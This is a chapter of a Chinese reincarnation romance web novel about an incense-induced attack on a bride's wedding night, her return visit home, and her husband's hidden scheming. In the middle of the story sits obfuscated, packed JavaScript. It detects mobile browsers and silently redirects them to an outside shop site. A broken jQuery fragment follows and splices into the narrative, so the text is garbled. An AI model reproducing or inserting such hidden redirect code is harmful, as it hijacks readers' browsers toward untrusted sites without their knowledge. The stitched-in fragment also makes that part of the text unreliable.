25. 回门之日
    他怎么会想到这些。

    上辈子,她也是为了腹中的孩子,万般无奈之下才会成为庆王的侧妃。

    她对庆王只有感激之情,从未有过男女之情。

    “在你心里,我就是这样爱慕虚荣的人吗?”沈舒幼当即反问他,“真是笑话,我父虽出身寒门,兢兢业业三十载才走到如今的位置,靠的是自己的能力和圣上的赏识。我兄长也是靠自己通过考核进入大理寺,虽然比不上裴府门第显贵,但也不至于脸都不要了。”

    真当人人都想攀附权势,攀附裴家吗?

    沈舒幼给他翻了一个嫌弃的白眼,提上被子躺下睡觉,懒得再同他计较。

    “抱歉……”裴闻卿有些无措,歉道,“我没有看不起你的意思……”

    “我要睡觉了。”沈舒幼嫌烦,打断他的话,捂上耳朵,“明日还要回家呢!”

    盘问匆匆结束,谁也没问出什么,反倒将气氛弄得更尬了。

    裴闻卿去灭灯,从床头取来枕头,放下床帐,到床尾睡下。

    估计新婚里睡床尾的也只有他一个人了。

    沈舒幼心里窝气,便没留意他怎么睡,对此事毫无察觉。

    屋里的熏香渐烧渐浓,不过刚睡下半个时辰,沈舒幼被闷醒了。

    “咳咳——”

    浓烈的不明香气源源不断汇入口鼻,闷她喘不过气来,胸口旧伤处开始隐隐作痛。

    沈舒幼缩成一团,捂着胸口喊不出声来,无力的手朝床边伸去……

    裴闻卿,裴闻卿,救我……她试图求救。

    喉咙沙哑,完全发不出声音来。

    断断续续,逐渐变得频繁的咳嗽声,窸窸窣窣的动静,裴闻卿起初并不在意,知道他听到一丝轻微的呼喊。

    他猛然惊坐起来,蓝黑的光影下,是无声的嘶吼。

    “你怎么了?”

    裴闻卿察觉到不对劲,在黑暗中循着她苍白无力的声音靠过来,顺手抚上她的背。

    沈舒幼像抓着救命一般,死死抓住他的手,用力咳嗽,试图表达着什么。

    “你等一会。”裴闻卿帮她顺了几下脊背,便起身去点燃烛火,倒了一杯茶水过来。

    豆大的火苗忽明忽暗,微弱的烛光下,沈舒幼已是满头大汗,脸色苍白如纸倒扶在地上。

    裴闻卿将她捞起来,靠在自己身上,捧着茶杯给她灌水。

    心悸之症,他上辈子的噩梦。

    她一口都喝不下去,温热的茶水从嘴角如泄洪一般往外流,颤抖的手指攀在裴闻的手臂上,缓缓指向地上的大香炉。

    “咳咳……”

    裴闻卿朝她指的方向看去,脑海中联想到上次她夜访香铺,第一件事便是借助茶水浇灭了屋里的香炉。

    难道她闻不得这些?

    他放下怀里挣扎的人儿,快步走过去抄起架上的水盆,全部倒入香炉中。

    如释重负地喘着粗气,目光落在合严的窗子上。

    他又去推开了窗子,一股寒风迎面吹来,不禁咬牙“嘶”了一声。

    巨大的动静声吵醒了相府中巡夜的人,还有青萍和绿华,众人睡眼惺忪,匆匆披上外衣便赶来了。

    “没事吧?”

    裴闻卿回到床上,再次把她扶起来,欲揽上她后背的手悬在半空。

    寒风不断涌进屋中,吹散屋里浓烈的熏香味。

    绿华和青萍见屋里有亮光,便齐力推门而入,见到二人相惜的场面,立刻转过身去。

    裴府的人也随后而至,被两人拦在了门外。

    “娘子,姑爷,这是怎么了……”

    二人转身迅速,屋里什么情况是一点也没有看清楚。

    “你们家娘子犯病了,快去给她准备汤药来。”

    前世受心悸折磨的是他,那种恐惧,那种无力,如千万蚂蚁在心口上啃食的感觉历历在目。

    余生都靠汤药续命,此事他能感同身受。

    重重喘了几口气后,沈舒幼缓了一些,脸色逐渐好转,头发凌乱,沾了一些在脸上。

    “你既然闻不得熏香,为何还让他们烧?”裴闻卿不理解。

    她捏了捏喉咙,喘道:“点香的……是你府里的人。”

    绿华去煮药时,裴府的婢女才得以进屋来询问情况。

    裴闻卿没什么太大反应,只是让她们将香炉抬下去,叫她们日后不要在屋里点香。

    而后又叫青萍去找身新寝衣给她换上。婢女们重新收拾床榻,换了新的被褥,屋中又才恢复了平静。

    二人心情复杂,肩并肩重新躺回床上。

    她本无睡意,喝了汤药后,整个人变得昏昏沉沉的。

    “这件事本是我先对不住你,是我欠你的,待时机成熟,你我再和离,你想要什么做补偿,我都会尽力补偿给你。”

    裴闻卿不再隐藏心里的想法,直接同她言明。

    “嗯。”枕边人轻轻应了一声。

    裴闻卿没想她会答应得如此干脆,心中有股说不出来的滋味,胸口处闪过一缕酥|麻。

    “夜已深,早点睡吧。”

    沈舒幼已进入梦乡,自然无法应答。

    -

    等她再次睁开眼,人在裴闻卿的马车上,马车已到谢府门口停下。

    沈舒幼是被马车外的鞭炮声给惊醒的。

    早上迷迷糊糊醒来,在意识模糊中梳妆打扮,脚底轻飘飘地乘上回谢府的马车。

    裴闻卿也是差不多,二人僕一落座,便各自补觉了,愣是一句话都没说。

    谢府所有人都来到府门前迎接她,这样的盛况她也是初次念见到,眼角莫名的一阵酸|涩。

    “姑姑~”

    谢长顾像一只欢快的兔子跑过来,扑在她身上,抬头问她:“姑姑,你去哪了?我好想你。”

    这么小的孩子,自然是不知道男婚女嫁的事情,正是什么事都好奇的年纪。

    沈舒幼一把将他抱起来,捏了捏他圆鼓鼓的小脸,莞尔一笑:“姑姑也想长顾,姑姑去给长顾买好吃的了。”

    沈氏和谢玄清还有谢世杰夫妇一同上前来迎接他们二人。

    “小婿拜见岳丈,岳母大人,见过兄长,嫂夫人。”裴闻卿很是识大体。

    沈舒幼将侄子放下,规规矩矩问候家人,“女儿给父亲母亲请安,见过哥哥嫂嫂。”

    谢长顾也跟着学起来:“长顾拜见爷爷奶奶,父亲母亲。”

    充满童真,稚嫩的语气惹得众人哄堂大笑,沉浸在团聚的喜悦中。

    回门宴早早备好,只待二人来到,便可开席。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173673|150538||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谢玄清只有一个位兄长,还未来得及娶亲便病逝了,在京中并无其他亲眷。

    沈氏亦是如此,所以谢府的家宴,便只有他们自己。

    裴闻卿比谢世杰小几岁,也算是谢玄清夫妇俩看着长大的,算半个儿子。

    如今变成女婿,都是自家人,自然没什么可挑剔的。

    裴闻卿也没什么架子,毫无拘谨,同谢府其他人都是自来熟,跟在自己家一样,除了她。

    所以她算什么?妹妹还是“妹妹”?

    饭后,御史台派人来传话,谢玄清还没来得及说几句话,便又出了府。

    裴闻卿被谢世杰拉去下棋,剩下的三个女人聚在一起喝茶闲聊。

    沈舒幼正把自己带回来的东西分享给谢长顾,还没来得及同沈氏和徐庄与说上话,便已经到了午时。

    青萍过来提醒她:“娘子,该启程去宫里了,皇后娘娘还在等着呢。”

    沈氏只得叹气,不舍地送女儿出门,“得见皇后娘娘,是殊荣,赶紧去吧。”

    她还沉浸在一家人有说有笑时的幸福中,突然间又要分别,心里顿时空落落的。

    “给皇后娘娘的礼,我已经交给青萍了,入宫时可别忘了。”沈氏不忘叮嘱道,“晚上就别回来,相府离皇城更近些,今日你们都累,早些回去休息,改日得空再回来。”

    看裴闻卿的样子,今晚肯定是不想来谢府的,她还想着他不来,她就自己回来。

    现在沈氏又这么说,今晚怕是又只能回相府度日如年了。

    从谢府到相府需要半个时辰,再从相府去宫里,还需要一会。

    两人同沈氏与谢世杰夫妇俩匆匆话别后,又乘上马车赶赴宫中见皇后。

    -

    这几日,沈舒幼只觉很累,很困,无时无刻都可以睡过去。

    这会坐在马车上,车轮咯吱咯吱的声音同清脆而有节奏的马蹄声交织在一起,犹如催眠曲。

    她倚在车壁上,眼皮有气无力地一张一合,不知何时竟又睡了过去。

    裴闻卿这会毫无睡意,看了一会属下送来的折子,不经意间留意起斜前方又睡着了人儿来。

    长发挽起,梳着已婚妇人的发髻,简单的朝云髻上点缀着两支金钗,斜插的步摇随马车晃动,耳畔边的流苏轻摇。

    杏色提花披风半敞开着,内里一身轻紫衣裙盖过脚面,双手弯曲搭于膝上,靠在车壁上入睡,宛如一幅仕女画。

    他心头萌出一丝愧疚来,这么对她,会不会不公平?

    她是无辜的。

    若是他不出手阻止,那件事很快就要来了。

    随后又一个邪念头闪过,她再怎么无辜都是谢家的事情,与他无关。

    想要拆散韦云安和李徽的人,都该死,没人是无辜的。

    她也不是例外。不杀她,只是因为那一箭的缘故。

    前世的事,已然算不得数。

    那个孩子也不是他的,是李徽的。

    裴闻卿晃了晃脑袋,心道:我这是怎么了?好端端的怎么突然同情起她来了?

    她可以不死,但这辈子绝对不会让她再有机会靠近李徽。

    只要有他在,不会让任何人伤害到韦云安。

    不知不觉间,已经来到皇城外。